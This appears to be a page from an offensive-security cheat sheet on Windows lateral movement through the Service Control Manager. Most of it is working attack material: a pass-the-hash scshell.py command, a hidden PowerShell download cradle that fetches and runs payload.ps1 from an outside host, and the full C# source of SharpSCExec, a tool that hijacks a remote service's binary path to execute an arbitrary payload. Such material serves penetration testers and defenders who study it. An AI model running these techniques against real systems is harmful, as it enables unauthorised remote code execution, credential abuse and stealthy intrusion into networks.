RPC

Remote Procedure Call

SCM

Using Python implementation and PtH:

$ python scshell.py MEGACORP/snovvcrash@192.168.1.11 -hashes :fc525c9683e8fe067095ba2ddc971889 -service-name lfsvc
SCShell>C:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c iex(new-object net.webclient).downloadstring('http://10.10.13.37:8080/payload.ps1')

Custom PoC:

SharpSCExec.cs
using System;
using System.Runtime.InteropServices;

namespace SharpSCExec
{
    class Program
    {
        [DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        internal static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string lpszUsername, [MarshalAs(UnmanagedType.LPStr)] string lpszDomain, [MarshalAs(UnmanagedType.LPStr)] string lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);

        [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);

        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);

        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);

        [DllImport("kernel32.dll")]
        public static extern uint GetLastError();

        [StructLayout(LayoutKind.Sequential)]
        public class QueryServiceConfigStruct
        {
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwServiceType;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwStartType;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwErrorControl;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpBinaryPathName;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpLoadOrderGroup;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwTagID;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpDependencies;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpServiceStartName;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpDisplayName;
        };

        static void Main(string[] args)
        {
            string target = args[0];
            string svcName = args[1]; // Potential candidates are: XblAuthManager, SensorService, BTAGService, lfsvc
            string payload = args[2];

            if (args.Length < 3)
            {
                Console.WriteLine("Usage: SharpSCExec.exe <TARGET> <SERVICE> <PAYLOAD>");
                Console.WriteLine("Example: SharpSCExec.exe SRV01 SensorService \"cmd.exe /c ping -n 2 10.10.13.37\"");
                return;
            }

            if (args.Length > 3)
            {
                string domain = args[3];
                string username = args[4];
                string password = args[5];
                IntPtr hToken = IntPtr.Zero;
                if (!LogonUser(username, domain, password, 0x9, 0, out hToken))
                {
                    Console.WriteLine($"[-] LogonUser failed: {GetLastError()}");
                    Environment.Exit(0);
                }
                if (!ImpersonateLoggedOnUser(hToken))
                {
                    Console.WriteLine($"[-] ImpersonateLoggedOnUser failed: {GetLastError()}");
                    Environment.Exit(0);
                }
            }

            IntPtr SCMHandle = OpenSCManager(
                target,
                null,
                0xF003F); // SC_MANAGER_ALL_ACCESS

            IntPtr hService = OpenService(
                SCMHandle,
                svcName,
                0xF01FF); // SERVICE_ALL_ACCESS

            UInt32 bytesNeeded;
            bool res = QueryServiceConfig(hService, IntPtr.Zero, 0, out bytesNeeded);
            IntPtr ptr = Marshal.AllocHGlobal((int)bytesNeeded);
            res = QueryServiceConfig(hService, ptr, bytesNeeded, out bytesNeeded);
            QueryServiceConfigStruct qsc = new QueryServiceConfigStruct();
            Marshal.PtrToStructure(ptr, qsc);
            string origBinaryPath = qsc.lpBinaryPathName;
            Console.WriteLine($"[*] Extracted original service binary: \"{origBinaryPath}\"");

            res = ChangeServiceConfigA(
                hService,
                0xffffffff, // SERVICE_NO_CHANGE
                0x3,        // SERVICE_DEMAND_START
                0,          // SERVICE_NO_CHANGE
                payload,
                null,
                null,
                null,
                null,
                null,
                null);

            if (res)
            {
                Console.WriteLine("[+] Service binary changed successfully!");
            }
            else
            {
                Console.WriteLine($"[-] Failed changing service binary: {GetLastError()}");
            }

            res = StartService(hService, 0, null);
            Console.WriteLine($"[*] StartService terminated with return code {res} and error {GetLastError()}");

            res = ChangeServiceConfigA(
                hService,
                0xffffffff, // SERVICE_NO_CHANGE
                0x3,        // SERVICE_DEMAND_START
                0,          // SERVICE_NO_CHANGE
                origBinaryPath,
                null,
                null,
                null,
                null,
                null,
                null);

            if (res)
            {
                Console.WriteLine("[+] Original service binary restored successfully!");
            }
            else
            {
                Console.WriteLine($"[-] Failed restoring original service binary: {GetLastError()}");
            }
        }
    }
}

Task Scheduler

Last updated